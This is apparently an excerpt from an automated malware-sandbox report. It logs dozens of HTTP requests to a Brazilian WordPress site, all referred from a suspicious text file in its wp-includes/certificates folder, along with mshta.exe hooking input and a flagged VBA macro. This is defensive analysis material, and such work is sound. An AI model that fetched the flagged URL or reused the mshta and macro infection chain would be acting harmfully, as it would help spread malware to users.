Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49178 version: TLS 1.2
Source: C:\Windows\System32\mshta.exeWindows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dllJump to behavior
Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior

System Summary

barindex
Document contains an embedded VBA macro with suspicious strings
